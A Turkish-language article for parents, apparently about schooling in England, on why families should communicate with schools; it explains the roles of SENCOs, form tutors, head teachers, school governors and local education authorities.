    Eminim hepimiz okul, aile ve öğrenci üçgenin ne kadar önemli olduğunu sayısız defa duymuşuzdur. Aslında sürekli velilere belirtilen bu kavram herkesin dikkate alması ve en iyi şekilde uygulaması gereken gerçeklerden bir tanesi. Okulun ve öğrencinin iyi bir şekilde çalışması ancak ailenin vereceği destek ile mümkün olabilir. Kimi aile bu ilişki sayesinde çocuğunun durumunu, başarısını veya başarısızlığını öğrenir. Kimi aile ise, daha etkili bir rol alıp okulda çocuklarının öğrendiği dersten tutun da, onların okulunda gönüllü çalışmalar yapmaya kadar gider. Bu üçgeni iyi işleten velilerin çocukları ya başarılı olurlar yada işler kötüye gitmeye başladığında büyük sorunlar ortaya çıkmadan müdahale ederler.

    Okulu ile iyi bir ilişkinin kurulması için okul ve aile arasında düzenli, güvenli ve dürüst bir bilgi paylaşımının olması gerekiyor. Her okulun ailelere bu konuda olanaklar yaratması bir çok müdürün en temel görevi. Ayrıca her müdür okullarının kapısını ailelere ve topluma açıp sınıf ve ev arasında bir bağ kurula bilineceğini göstermesi lazım. Bunu yapan müdür başta veliler olmak üzere, okuldaki öğretmen veya öğrenci olsun herkes kesim tarafından sevilir ve saygı duyulur.

    Bu nokta kadar önemli olan bir şey ise ailelerin okula dürüst ve zamanlı bilgi vermeleri. Dışarıdan içine kapanık olarak görünen bizim gibi toplumlarda bu konuda maalesef bilgi paylaşımı çok az. Çocuklarımızın hayatında önemli olan bazı gelişmeleri zamanında okula bildirmemiz, eğitim seviyesi açısından önemli bir nokta. Örnek verelim, anne ve baba ayrılıyor ya da boşanıyor – yetişkinler için bile çok zor olan bu dönem bir çocuk için (yaşı ne olursa olsun) tahmin edilemeyeceği kadar daha zor bir tecrübedir. Bir çok çocuk böyle dönemlerde kendilerini diğer çocuklardan daha farklı görüp o zamana kadar girmediği ve göstermediği davranışları sergiler. Yine bir başka örnek ise aileden birisinin vefat etmesi olabilir – yine hem yetişkinler için hem de çocuklar için böyle bir şer zor bir döneme tekabül eder ve yardım şarttır. Bu veya buna benzer durumların okullar ile paylaşılması çocuğun okul tarafından gereken yardımı ve desteği almasını sağlar.

    İngiltere’de gerek ilkokullarda, gerekse de ortaokullarda SENCO (Special Education Needs Co-ordinator), yani, Özel Eğitim İhtiyacı Koordinatörleri görev alır. Bu öğretmenler çocukların sağlık, sosyal ve psikolojik ihtiyaçlarını karşılamak ile sorumlu olan kişilerdir. Bir okuldaki SENCO öğrenci, veli, bunun yanında bir çok kurum ve kuruluş ile yakından çalışır. SENCO’lar sosyal, sağlık ve psikolojik sorunlar yaşayan çocuklar ile yakından ilgilenip okuldaki öğretmenlere bu tür sorunları olan öğrenciler ile nasıl ilgilenebilecekleri konusunda eğitim verirler. Bu tür ihtiyaçları olan öğrencilerinin velileri ile SENCO sürekli bir diyalog içindedir. Her aile kendi okullarındaki SENCO’lar ile sınıf öğretmenleri aracılığıyla irtibata geçip görüşebilir.

    Ailelerin en temelde okulda öğrencilerinin sınıf öğretmeni, yada İngiltere’deki adıyla ‘tutor’, ile bir diyalog içinde olması gerekiyor. Veli, toplantılarının dışında bu öğretmeni ile diyalog içinde olup çocukları hakkında istedikleri zaman bilgi alabilirler. Bunun dışında genel okul sorunları ile ilgili her veli okul müdürü ile görüşebilir. Müdür ile bu konuda istenilen zamanda randevu talep edip görüşme, duygu ve düşüncelerini bildirme, her velinin temel hakkıdır. Son olarak okulun gidişatı veya okul müdürü hakkında olan şikayet yada öneriler konusunda ise Okul Aile Birliği (School Governors) paneli yada bölge eğitim müdürlükleri (LEA) ile görüşebilirler. Bu bilgilere her gün ihtiyacımız olmasa da, gerek duyduğumuzda kullanabileceğimiz bazı ilişki yöntemleri.